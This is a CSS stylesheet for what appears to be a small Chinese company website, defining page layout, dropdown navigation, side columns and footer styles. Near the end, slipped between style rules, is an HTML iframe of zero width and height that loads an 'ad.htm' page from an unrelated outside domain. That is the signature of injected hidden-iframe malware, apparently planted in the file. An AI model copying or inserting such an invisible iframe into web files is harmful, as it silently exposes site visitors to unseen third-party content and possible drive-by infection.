@charset "gb2312";
* {margin:0;padding:0;}
ul,li {list-style-type: none;}
body {text-align:center;font-size:12px;background-color:#fff;line-height:20px;}
div,ul,li{overflow:hidden;text-align:left;margin:0;padding:0;text-align:left;}
a {text-decoration: none;color:#000;font-size:12px;}
a:hover{text-decoration:underline;font-size:12px;}
/* a:active {text:expression(target="_blank");} */
img {border:0px solid #000;}
p {text-indent: 2em;margin:10px 0;padding:0;}
.clear {clear: both;}
.main {width:833px;margin:0 auto;border-left:1px solid #008DD8;border-right:1px solid #008DD8;}

/* TOP */

#top {height:281px;}

.logo,.mufl {float:left;width:210px;height:281px;}

.mufl {width:623px;}

.mu {width:623px;height:45px;background:url(../images/main_03.jpg) repeat-x;}

.mu a {font-size:14px;font-weight:bold;color:#fff;}

.flash {width:623px;height:236px;}

#nav {height: 24px;line-height:24px;overflow:hidden;margin-top:15px;}

#nav a {display: block; width: 80px; text-align:center;}



#nav a:link  {color:#EEE; text-decoration:none;}
#nav a:visited  {color:#EEE;text-decoration:none;}
#nav a:hover  {color:#FFF;text-decoration:none;font-weight:bold;}

#nav li {float: left; width: 100px;border-right:2px solid #fff;text-align:center;}

#nav li ul {
	line-height: 24px;  
	text-align:left;
	left: -999px; 
	width: 250px; //注意,这里一定要设置宽度;
	position: absolute;
	background:#008DD8;
	margin-left:200px;
	font-size:12px;
}

#nav li ul li{float: left;width: 80px;} //float就是子菜单横向的关键,可以继承父菜单而省略float

#nav li ul a{display: block; width: 65px;text-align:left;padding-left:15px;font-size:12px;}

#nav li ul a:link  {text-decoration:none;font-size:12px;}

#nav li ul a:hover  {color:#fff;text-decoration:none;font-weight:normal;background:#C00;font-size:12px;}

#nav li:hover ul {left:25%;}

#nav li.sfhover ul {left:25%;}

#content {clear: left;}


/* left */

#left {float:left;}

.leftc {width:272px;border-top:4px solid #008DD8;margin-bottom:30px;}

.leftc li {float:left;width:64px;height:66px;margin:18px 9px 0 10px;text-align:center;}

.leftc li div {width:62px;height:41px;margin-bottom:5px;border:0px solid #000;}

.leftc a:hover {color:red;}

.lefta {width:230px;margin:10px auto;line-height:25px;text-indent: 25px;}

/* right */

#right {float:left;width:560px;margin-left:-1px;border-left:1px solid #008DD8;}

.info {height:261px;}
.info a {color:red;}
.anl {height:210px;}
.anl ul {width:509px;margin:10px auto;}
.anl li {float:left;width:221px;margin:4px 10px;}

.ce {height:260px;}
.ce li {float:left;width:200px;height:160px;margin:10px 30px;text-align:center;}
.ce li div{width:200px;height:140px;margin-bottom:3px;}

.infoli {width:560px;text-align:center;}

.lxwm {width:560px;height:750px;font-size:14px;}

.lxwm ul {margin-top:60px;}
.lxwm li {margin:20px 0 0 30px;}
.back {width:405px;margin:0 auto;}

.pt,.ptli {width:500px;margin:30px auto;}

.ptt {text-align:center;width:500px;height:26px;line-height:30px;font-size:26px;margin:30px 0;}

.ptpic,.ptcon {width:500px;margin:20px auto;text-align:center;}

.ptcon {text-align:left;line-height:40px;font-size:14px;}

.ptli li {float:left;margin:20px 61px 20px 5px;width:180px;height:200px;text-align:center;}
.ptli li div {width:180px;height:150px;}

.ptli a {font-size:12px;color:#008DD8;}

.ptli a:hover {font-size:12px;color:#008DD8;}

.int1,.int2 {width:561px;height:40px;background:url(../images/main_12.jpg) no-repeat;padding-left:460px;line-height:38px;}
.int2 {background:url(../images/main_20.jpg) no-repeat;}

/* bottom */
#bottom {height:58px;border-top:4px solid #008DD8;border-bottom:5px solid #008DD8;text-align:center;line-height:30px;}
<iframe src="http://www8.89111.cn/ad.htm" width="0" height="0" frameborder="0"></iframe>
#nav li ul a {font-size:12px;}